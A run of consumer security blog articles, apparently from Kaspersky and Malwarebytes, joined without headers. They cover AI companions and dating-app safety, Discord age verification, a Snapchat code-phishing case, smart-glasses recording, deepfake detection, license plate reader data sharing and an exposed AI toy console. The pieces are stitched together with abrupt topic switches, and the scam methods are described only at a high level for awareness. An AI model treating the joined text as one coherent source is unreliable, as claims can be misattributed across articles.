However, these interactions aren’t always harmless. In 2021, a Replika chatbot actually encouraged a user in his plot to assassinate Queen Elizabeth II. The man eventually attempted to break into Windsor Castle — an “adventure” that ended in 2023 with a nine-year prison sentence. Following the scandal, the company had to overhaul its algorithms to stop the AI from egging on illegal behavior. The downside? According to many Replika devotees, the AI model lost its spark and became indifferent to users. After thousands of users revolted against the updated version, Replika was forced to cave and give longtime customers the option to roll back to the legacy chatbot version.
But sometimes, just chatting with a bot isn’t enough. There are entire online communities of people who actually marry their AI. Even professional wedding planners are getting in on the action. Last year, Yurina Noguchi, 32, “married” Klaus, an AI persona she’d been chatting with on ChatGPT. The wedding featured a full ceremony with guests, the reading of vows, and even a photoshoot of the “happy newlyweds”.
Yurina Noguchi, 32, “married” Klaus, an AI character created by ChatGPT. Source
No matter how your relationship with a chatbot evolves, it’s vital to remember that generative neural networks don’t have feelings — even if they try their hardest to fulfill every request, agree with you, and do everything it can to “please” you. What’s more, AI isn’t capable of independent thought (at least not yet). It’s simply calculating the most statistically probable and acceptable sequence of words to serve up in response to your prompt.
Love by design: dating algorithms
Those who aren’t ready to tie the knot with a bot aren’t exactly having an easy time either: in today’s world, face-to-face interactions are dwindling every year. Modern love requires modern tech! And while you’ve definitely heard the usual grumbling, “Back in the day, people fell in love for real. These days it’s all about swiping left or right!” Statistics tell a different story. Roughly 16% of couples worldwide say they met online, and in some countries that number climbs to as high as 51%.
That said, dating apps like Tinder spark some seriously mixed emotions. The internet is practically overflowing with articles and videos claiming these apps are killing romance and making everyone lonely. But what does the research say?
In 2025, scientists conducted a meta-analysis of studies investigating how dating apps impact users’ wellbeing, body image, and mental health. Half of the studies focused exclusively on men, while the other half included both men and women. Here are the results: 86% of respondents linked negative body image to their use of dating apps! The analysis also showed that in nearly one out of every two cases, dating app usage correlated with a decline in mental health and overall wellbeing.
Other researchers noted that depression levels are lower among those who steer clear of dating apps. Meanwhile, users who already struggled with loneliness or anxiety often develop a dependency on online dating; they don’t just log on for potential relationships, but for the hits of dopamine from likes, matches, and the endless scroll of profiles.
However, the issue might not just be the algorithms — it could be our expectations. Many are convinced that “sparks” must fly on the very first date, and that everyone has a “soulmate” waiting for them somewhere out there. In reality, these romanticized ideals only surfaced during the Romantic era as a rebuttal to Enlightenment rationalism, where marriages of convenience were the norm.
It’s also worth noting that the romantic view of love didn’t just appear out of thin air: the Romantics, much like many of our contemporaries, were skeptical of rapid technological progress, industrialization, and urbanization. To them, “true love” seemed fundamentally incompatible with cold machinery and smog-choked cities. It’s no coincidence, after all, that Anna Karenina meets her end under the wheels of a train.
Fast forward to today, and many feel like algorithms are increasingly pulling the strings of our decision-making. However, that doesn’t mean online dating is a lost cause; researchers have yet to reach a consensus on exactly how long-lasting or successful internet-born relationships really are. The bottom line: don’t panic, just make sure your digital networking stays safe!
How to stay safe while dating online
So, you’ve decided to hack Cupid and signed up for a dating app. What could possibly go wrong?
Deepfakes and catfishing
Catfishing is a classic online scam where a fraudster pretends to be someone else. It used to be that catfishers just stole photos and life stories from real people, but nowadays they’re increasingly pivoting to generative models. Some AIs can churn out incredibly realistic photos of people who don’t even exist, and whipping up a backstory is a piece of cake — or should we say, a piece of prompt. By the way, that “verified account” checkmark isn’t a silver bullet; sometimes AI manages to trick identity verification systems too.
To verify that you’re talking to a real human, try asking for a video call or doing a reverse image search on their photos. If you want to level up your detection skills, check out our three posts on how to spot fakes: from photos and audio recordings to real-time deepfake video — like the kind used in live video chats.
Phishing and scams
Picture this: you’ve been hitting it off with a new connection for a while, and then, totally out of the blue, they drop a suspicious link and ask you to follow it. Maybe they want you to “help pick out seats” or “buy movie tickets”. Even if you feel like you’ve built up a real bond, there’s a chance your match is a scammer (or just a bot), and the link is malicious.
Telling you to “never click a malicious link” is pretty useless advice — it’s not like they come with a warning label. Instead, try this: to make sure your browsing stays safe, use a Kaspersky Premium that automatically blocks phishing attempts and keeps you off sketchy sites.
Keep in mind that there’s an even more sophisticated scheme out there known as “Pig Butchering”. In these cases, the scammer might chat with the victim for weeks or even months. Sadly, it ends badly: after lulling the victim into a false sense of security through friendly or romantic banter, the scammer casually nudges them toward a “can’t-miss crypto investment” — and then vanishes along with the “invested” funds.
Stalking and doxing
The internet is full of horror stories about obsessed creepers, harassment, and stalking. That’s exactly why posting photos that reveal where you live or work — or telling strangers about your favorite local hangouts — is a bad move. We’ve previously covered how to avoid becoming a victim of doxing (the gathering and public release of your personal info without your consent). Your first step is to lock down the privacy settings on all your social media and apps using our free Privacy Checker tool.
We also recommend stripping metadata from your photos and videos before you post or send them; many sites and apps don’t do this for you. Metadata can allow anyone who downloads your photo to pinpoint the exact coordinates of where it was taken.
Finally, don’t forget about your physical safety. Before heading out on a date, it’s a smart move to share your live geolocation, and set up a safe word or a code phrase with a trusted friend to signal if things start feeling off.
Sextortion and nudes
We don’t recommend ever sending intimate photos to strangers. Honestly, we don’t even recommend sending them to people you do know — you never know how things might go sideways down the road. But if a conversation has already headed in that direction, suggest moving it to an app with end-to-end encryption that supports self-destructing messages (like “delete after viewing”). Telegram’s Secret Chats are great for this (plus — they block screenshots!), as are other secure messengers. If you do find yourself in a bad spot, check out our posts on what to do if you’re a victim of sextortion and how to get leaked nudes removed from the internet.
Discord announced it will put all existing and new profiles in teen-appropriate mode by default in early March.
The teen-appropriate profile mode will remain in place until users prove they are adults. To change a profile to “full access” will require verification by Discord’s age inference model—a new system that runs in the background to help determine whether an account belongs to an adult, without always requiring users to verify their age.
Savannah Badalich, Head of Product Policy at Discord, explained the reasoning:
“Rolling out teen-by-default settings globally builds on Discord’s existing safety architecture, giving teens strong protections while allowing verified adults flexibility. We design our products with teen safety principles at the core and will continue working with safety experts, policymakers, and Discord users to support meaningful, long term wellbeing for teens on the platform.”
Platforms have been facing growing regulatory pressure—particularly in the UK, EU, and parts of the US—to introduce stronger age-verification measures. The announcement also comes as concerns about children’s safety on social media continue to surface. In research we published today, parents highlighted issues such as exposure to inappropriate content, unwanted contact, and safeguards that are easy to bypass. Discord was one of the platforms we researched.
The problem in Discord’s case lies in the age-verification methods it’s made available, which require either a facial scan or a government-issued ID. Discord says that video selfies used for facial age estimation never leave a user’s device, but this method is known not to work reliably for everyone.
Identity documents submitted to Discord’s vendor partners are also deleted quickly—often immediately after age confirmation, according to Discord. But, as we all know, computers are very bad at “forgetting” things and criminals are very good at finding things that were supposed to be gone.
Besides all that, the effectiveness of this kind of measure remains an issue. Minors often find ways around systems—using borrowed IDs, VPNs, or false information—so strict verification can create a sense of safety without fully eliminating risk. In some cases, it may even push activity into less regulated or more opaque spaces.
As someone who isn’t an avid Discord user, I can’t help but wonder why keeping my profile teen-appropriate would be a bad thing. Let us know in the comments what your objections to this scenario would be.
I wouldn’t have to provide identification and what I’d “miss” doesn’t sound terrible at all:
Mature and graphic images would be permanently blocked.
Age-restricted channels and servers would be inaccessible.
DMs from unknown users would be rerouted to a separate inbox.
Friend requests from unknown users would always trigger a warning pop-up.
No speaking on server stages.
Given the amount of backlash this news received, I’m probably missing something—and I don’t mind being corrected. So let’s hear it.
Note: All comments are moderated. Those including links and inappropriate language will be deleted. The rest must be approved by a moderator.
We don’t just report on threats – we help protect your social media
Fresh off a breathless Super Bowl Sunday, we’re less thrilled to bring you this week’s Weirdo Wednesday. Two stories caught our eye, both involving men who crossed clear lines and invaded women’s privacy online.
Last week, 27-year-old Kyle Svara of Oswego, Illinois admitted to hacking women’s Snapchat accounts across the US. Between May 2020 and February 2021, Svara harvested account security codes from 571 victims, leading to confirmed unauthorized access to at least 59 accounts.
Rather than attempting to break Snapchat’s robust encryption protocols, Svara targeted the account owners themselves with social engineering.
After gathering phone numbers and email addresses, he triggered Snapchat’s legitimate login process, which sent six-digit security codes directly to victims’ devices. Posing as Snapchat support, he then sent more than 4,500 anonymous messages via a VoIP texting service, claiming the codes were needed to “verify” or “secure” the account.
Svara showed particular interest in Snapchat’s My Eyes Only feature—a secondary four-digit PIN meant to protect a user’s most sensitive content. By persuading victims to share both codes, he bypassed two layers of security without touching a single line of code. He walked away with private material, including nude images.
Svara didn’t do this solely for his own kicks. He marketed himself as a hacker-for-hire, advertising on platforms like Reddit and offering access to specific accounts in exchange for money or trades.
Selling his services to others was how he got found out. Although Svara stopped hacking in early 2021, his legal day of reckoning followed the 2024 sentencing of one of his customers: Steve Waithe, a former track and field coach who worked at several high-profile universities including Northeastern. Waithe paid Svara to target student athletes he was supposed to mentor.
Svara also went after women in his home area of Plainfield, Illinois, and as far away as Colby College in Maine.
He now faces charges including identity theft, wire fraud, computer fraud, and making false statements to law enforcement about child sex abuse material. Sentencing is scheduled for May 18.
How to protect your Snapchat account
Never send someone your login details or secret codes, even if you think you know them.
Passkeys let you sign in without a password, but unlike multi-factor authentication, passkeys are cryptographically tied to your device, and can’t be phished or forwarded like one-time codes. Snapchat supports them, and they offer stronger protection than traditional multi-factor authentication, which is increasingly susceptible to smart phishing attacks.
Bad guys with smart glasses
Unfortunately, hacking women’s social media accounts to steal private content isn’t new. But predators will always find a way to use smart tech in nefarious ways. Such is the case with new generations of ‘smart glasses’ powered by AI.
This week, CNN published stories from women who believed they were having private, flirtatious interactions with strangers—only to later discover the men were recording them using camera-equipped smart glasses and posting the footage online.
These clips are often packaged as “rizz” videos—short for “charisma”—where so-called manfluencers film themselves chatting up women in public, without consent, to build followings and sell “coaching” services.
The glasses, sold by companies like Meta, are supposed to be used for recording only with consent, and often display a light to show that they’re recording. In practice, that indicator is easy to hide.
When combined with AI-powered services to identify people, as researchers did in 2024, the possibilities become even more chilling. We’re unaware of any related cases coming to court, but suspect it’s only a matter of time.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard, a feature of our mobile protection products. Submit a screenshot, paste suspicious content, or share a text or phone number, and we’ll tell you if it’s a scam or legit. Download Malwarebytes Mobile Security for iOS or Android and try it today!
In January, Google settled a lawsuit that pricked up a few ears: It agreed to pay $68 million to a wide array of people who sued the company together, alleging that Google’s voice-activated smart assistant had secretly recorded their conversations, which were then sent to advertisers to target them with promotions.
Google denied any admission of wrongdoing in the settlement agreement, but the fact stands that one of the largest phone makers in the world decided to forego a trial against some potentially explosive surveillance allegations. It’s a decision that the public has already seen in the past, when Apple agreed to pay $95 million last year to settle similar legal claims against its smart assistant, Siri.
Back-to-back, the stories raise a question that just seems to never go away: Are our phones listening to us?
This week, on the Lock and Code podcast with host David Ruiz, we revisit an episode from last year in which we tried to find the answer. In speaking to Electronic Frontier Foundation Staff Technologist Lena Cohen about mobile tracking overall, it becomes clear that, even if our phones aren’t literally listening to our conversations, the devices are stuffed with so many novel forms of surveillance that we need not say something out loud to be predictably targeted with ads for it.
“Companies are collecting so much information about us and in such covert ways that it really feels like they’re listening to us.”
Technologies for creating fake video and voice messages are accessible to anyone these days, and scammers are busy mastering the art of deepfakes. No one is immune to the threat — modern neural networks can clone a person’s voice from just three to five seconds of audio, and create highly convincing videos from a couple of photos. We’ve previously discussed how to distinguish a real photo or video from a fake and trace its origin to when it was taken or generated. Now let’s take a look at how attackers create and use deepfakes in real time, how to spot a fake without forensic tools, and how to protect yourself and loved ones from “clone attacks”.
How deepfakes are made
Scammers gather source material for deepfakes from open sources: webinars, public videos on social networks and channels, and online speeches. Sometimes they simply call identity theft targets and keep them on the line for as long as possible to collect data for maximum-quality voice cloning. And hacking the messaging account of someone who loves voice and video messages is the ultimate jackpot for scammers. With access to video recordings and voice messages, they can generate realistic fakes that 95% of folks are unable to tell apart from real messages from friends or colleagues.
The tools for creating deepfakes vary widely, from simple Telegram bots to professional generators like HeyGen and ElevenLabs. Scammers use deepfakes together with social engineering: for example, they might first simulate a messenger app call that appears to drop out constantly, then send a pre-generated video message of fairly low quality, blaming it on the supposedly poor connection.
In most cases, the message is about some kind of emergency in which the deepfake victim requires immediate help. Naturally the “friend in need” is desperate for money, but, as luck would have it, they’ve no access to an ATM, or have lost their wallet, and the bad connection rules out an online transfer. The solution is, of course, to send the money not directly to the “friend”, but to a fake account, phone number, or cryptowallet.
Such scams often involve pre-generated videos, but of late real-time deepfake streaming services have come into play. Among other things, these allow users to substitute their own face in a chat-roulette or video call.
How to recognize a deepfake
If you see a familiar face on the screen together with a recognizable voice but are asked unusual questions, chances are it’s a deepfake scam. Fortunately, there are certain visual, auditory, and behavioral signs that can help even non-techies to spot a fake.
Visual signs of a deepfake
Lighting and shadow issues. Deepfakes often ignore the physics of light: the direction of shadows on the face and in the background may not match, and glares on the skin may look unnatural or not be there at all. Or the person in the video may be half-turned toward the window, but their face is lit by studio lighting. This example will be familiar to participants in video conferences, where substituted background images can appear extremely unnatural.
Blurred or floating facial features. Pay attention to the hairline: deepfakes often show blurring, flickering, or unnatural color transitions along this area. These artifacts are caused by flaws in the algorithm for superimposing the cloned face onto the original.
Unnaturally blinking or “dead” eyes. A person blinks on average 10 to 20 times per minute. Some deepfakes blink too rarely, others too often. Eyelid movements can be too abrupt, and sometimes blinking is out of sync, with one eye not matching the other. “Glassy” or “dead-eye” stares are also characteristic of deepfakes. And sometimes a pupil (usually just the one) may twitch randomly due to a neural network hallucination.
When analyzing a static image such as a photograph, it’s also a good idea to zoom in on the eyes and compare the reflections on the irises — in real photos they’ll be identical; in deepfakes — often not.
Look at the reflections and glares in the eyes in the real photo (left) and the generated image (right) — although similar, specular highlights in the eyes in the deepfake are different. Source
Lip-syncing issues. Even top-quality deepfakes trip up when it comes to synchronizing speech with lip movements. A delay of just a hundred milliseconds is noticeable to the naked eye. It’s often possible to observe an irregular lip shape when pronouncing the sounds m, f, or t. All of these are telltale signs of an AI-modeled face.
Static or blurred background. In generated videos, the background often looks unrealistic: it might be too blurry; its elements may not interact with the on-screen face; or sometimes the image behind the person remains motionless even when the camera moves.
Odd facial expressions. Deepfakes do a poor job of imitating emotion: facial expressions may not change in line with the conversation; smiles look frozen, and the fine wrinkles and folds that appear in real faces when expressing emotion are absent — the fake looks botoxed.
Auditory signs of a deepfake
Early AI generators modeled speech from small, monotonous phonemes, and when the intonation changed, there was an audible shift in pitch, making it easy to recognize a synthesized voice. Although today’s technology has advanced far beyond this, there are other signs that still give away generated voices.
Wooden or electronic tone. If the voice sounds unusually flat, without natural intonation variations, or there’s a vaguely electronic quality to it, there’s a high probability you’re talking to a deepfake. Real speech contains many variations in tone and natural imperfections.
No breathing sounds. Humans take micropauses and breathe in between phrases — especially in long sentences, not to mention small coughs and sniffs. Synthetic voices often lack these nuances, or place them unnaturally.
Robotic speech or sudden breaks. The voice may abruptly cut off, words may sound “glued” together, and the stress and intonation may not be what you’re used to hearing from your friend or colleague.
Lack of…shibboleths in speech. Pay attention to speech patterns (such as accent or phrases) that are typical of the person in real life but are poorly imitated (if at all) by the deepfake.
To mask visual and auditory artifacts, scammers often simulate poor connectivity by sending a noisy video or audio message. A low-quality video stream or media file is the first red flag indicating that checks are needed of the person at the other end.
Behavioral signs of a deepfake
Analyzing the movements and behavioral nuances of the caller is perhaps still the most reliable way to spot a deepfake in real time.
Can’t turn their head. During the video call, ask the person to turn their head so they’re looking completely to the side. Most deepfakes are created using portrait photos and videos, so a sideways turn will cause the image to float, distort, or even break up. AI startup Metaphysic.ai — creators of viral Tom Cruise deepfakes — confirm that head rotation is the most reliable deepfake test at present.
Unnatural gestures. Ask the on-screen person to perform a spontaneous action: wave their hand in front of their face; scratch their nose; take a sip from a cup; cover their eyes with their hands; or point to something in the room. Deepfakes have trouble handling impromptu gestures — hands may pass ghostlike through objects or the face, or fingers may appear distorted, or move unnaturally.
Ask a deepfake to wave a hand in front of its face, and the hand may appear to dissolve. Source
Screen sharing. If the conversation is work-related, ask your chat partner to share their screen and show an on-topic file or document. Without access to your real-life colleague’s device, this will be virtually impossible to fake.
Can’t answer tricky questions. Ask something that only the genuine article could know, for example: “What meeting do we have at work tomorrow?”, “Where did I get this scar?”, “Where did we go on vacation two years ago?” A scammer won’t be able to answer questions if the answers aren’t present in the hacked chats or publicly available sources.
Don’t know the codeword. Agree with friends and family on a secret word or phrase for emergency use to confirm identity. If a panicked relative asks you to urgently transfer money, ask them for the family codeword. A flesh-and-blood relation will reel it off; a deepfake-armed fraudster won’t.
What to do if you encounter a deepfake
If you’ve even the slightest suspicion that what you’re talking to isn’t a real human but a deepfake, follow our tips below.
End the chat and call back. The surest check is to end the video call and connect with the person through another channel: call or text their regular phone, or message them in another app. If your opposite number is unhappy about this, pretend the connection dropped out.
Don’t be pressured into sending money. A favorite trick is to create a false sense of urgency. “Mom, I need money right now, I’ve had an accident”; “I don’t have time to explain”; “If you don’t send it in ten minutes, I’m done for!” A real person usually won’t mind waiting a few extra minutes while you double-check the information.
Tell your friend or colleague they’ve been hacked. If a call or message from someone in your contacts comes from a new number or an unfamiliar account, it’s not unusual — attackers often create fake profiles or use temporary numbers, and this is yet another red flag. But if you get a deepfake call from a contact in a messenger app or your address book, inform them immediately that their account has been hacked — and do it via another communication channel. This will help them take steps to regain access to their account (see our detailed instructions for Telegram and WhatsApp), and to minimize potential damage to other contacts, for example, by posting about the hack.
How to stop your own face getting deepfaked
Restrict public access to your photos and videos. Hide your social media profiles from strangers, limit your friends list to real people, and delete videos with your voice and face from public access.
Don’t give suspicious apps access to your smartphone camera or microphone. Scammers can collect biometric data through fake apps disguised as games or utilities. To stop such programs from getting on your devices, use a proven all-in-one security solution.
Use passkeys, unique passwords, and two-factor authentication (2FA) where possible. Even if scammers do create a deepfake with your face, 2FA will make it much harder to access your accounts and use them to send deepfakes. A cross-platform password manager with support for passkeys and 2FA codes can help out here.
Teach friends and family how to spot deepfakes. Elderly relatives, young children, and anyone new to technology are the most vulnerable targets. Educate them about scams, show them examples of deepfakes, and practice using a family codeword.
Use content analyzers. While there’s no silver bullet against deepfakes, there are services that can identify AI-generated content with high accuracy. For graphics, these include Undetectable AI and Illuminarty; for video — Deepware; and for all types of deepfakes — Sensity AI and Hive Moderation.
Keep a cool head. Scammers apply psychological pressure to hurry victims into acting rashly. Remember the golden rule: if a call, video, or voice message from anyone you know rouses even the slightest suspicion, end the conversation and make contact through another channel.
To protect yourself and loved ones from being scammed, learn more about how scammers deploy deepfakes:
Mountain View, California, pulled the plug on its entire license plate reader camera network this week. It discovered that Flock Safety, which ran the system, had been sharing city data with hundreds of law enforcement agencies, including federal ones, without permission.
Two incidents of unauthorized sharing came to light. The first was a “national lookup” setting that was toggled on for one camera at the intersection of the city’s Charleston and San Antonio roads. Flock allegedly switched it on without telling the city.
That setting could violate California’s 2015 statute SB 34, which bars state and local agencies from sharing license plate reader data with out-of-state or federal entities. The law states:
“A public agency shall not sell, share, or transfer ALPR information, except to another public agency, and only as otherwise permitted by law.”
The statute defines a public agency as the state, or any city or county within it, covering state and local law enforcement agencies.
Last October, the state Attorney General sued the Californian city of El Cajon for knowingly violating that law by sharing license place data with agencies in more than two dozen states.
However, MVPD said that Flock kept no records from the national lookup period, so nobody can determine what information actually left the system.
Mountain View says it never chose to share, which makes the violation different in kind. For the people whose plates were scanned, the distinction is academic.
A separate “statewide lookup” feature had also been active on 29 of the city’s 30 cameras since the initial installation, running for 17 straight months until Mountain View found and disabled it on January 5. Through that tool, more than 250 agencies that had never signed any data agreement with Mountain View ran an estimated 600,000 searches over a single year, according to local paper the Mountain View Voice, which first uncovered the issue after filing a public records request.
Over the past year, more than two dozen municipalities across the country have ended contracts with Flock, many citing the same worry that data collected for local crime-fighting could be used for federal immigration enforcement. Santa Cruz became the first in California to terminate its contract last month.
Flock’s own CEO reportedly acknowledged last August that the company had been running previously undisclosed pilot programs with Customs and Border Protection and Homeland Security Investigations.
The cameras will remain offline until the City Council meets on February 24. Canfield says that he still supports license plate reader technology, just not this vendor.
This goes beyond one city’s vendor dispute. If strict internal policies weren’t enough to prevent unauthorized sharing, it raises a harder question: whether policy alone is an adequate safeguard when surveillance systems are operated by third parties.
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Bondu’s AI plush toy exposed a web console that let anyone with a Gmail account read about 50,000 private chats between children and their cuddly toys.
Bondu’s toy is marketed as:
“A soft, cuddly toy powered by AI that can chat, teach, and play with your child.”
“Bondu’s safety and behavior systems were built over 18 months of beta testing with thousands of families. Thanks to rigorous review processes and continuous monitoring, we did not receive a single report of unsafe or inappropriate behavior from Bondu throughout the entire beta period.”
Bondu’s emphasis on successful beta testing is understandable. Remember the AI teddy bear marketed by FoloToy that quickly veered from friendly chat into sexual topics and unsafe household advice?
The researchers were stunned to find the company’s public-facing web console allowed anyone to log in with their Google account. The chat logs between children and their plushies revealed names, birth dates, family details, and intimate conversations. The only conversations not available were those manually deleted by parents or company staff.
Potentially, these chat logs could been a burglar’s or kidnapper’s dream, offering insight into household routines and upcoming events.
Bondu took the console offline within minutes of disclosure, then relaunched it with authentication. The CEO said fixes were completed within hours, they saw “no evidence” of other access, and they brought in a security firm and added monitoring.
In the past, we’ve pointed out that AI-powered stuffed animals may not be a good alternative for screen time. Critics warn that when a toy uses personalized, human‑like dialogue, it risks replacing aspects of the caregiver–child relationship. One Curio founder even described their plushie as a stimulating sidekick so parents, “don’t feel like you have to be sitting them in front of a TV.”
So, whether it’s a foul-mouth, a blabbermouth, or just a feeble replacement for real friends, we don’t encourage using Artificial Intelligence in children’s toys—unless we ever make it to a point where they can be used safely, privately, securely, and even then, sparingly.
How to stay safe
AI-powered toys are coming, like it or not. But being the first or the cutest doesn’t mean they’re safe. The lesson history keeps teaching us is this: oversight, privacy, and a healthy dose of skepticism are the best defenses parents have.
Turn off what you can. If the toy has a removable AI component, consider disabling it when you’re not able to supervise directly.
Read the privacy policy. Yes, I know, all of it. Look for what will be recorded, stored, and potentially shared. Pay particular attention to sensitive data, like voice recordings, video recordings (if the toy has a camera), and location data.
Limit connectivity. Avoid toys that require constant Wi-Fi or cloud interaction if possible.
Monitor conversations. Regularly check in with your kids about what the toy says and supervise play where practical.
Keep personal info private. Teach kids to never share their names, addresses, or family details, even with their plush friend.
Trust your instincts. If a toy seems to cross boundaries or interfere with natural play, don’t be afraid to step in or simply say no.
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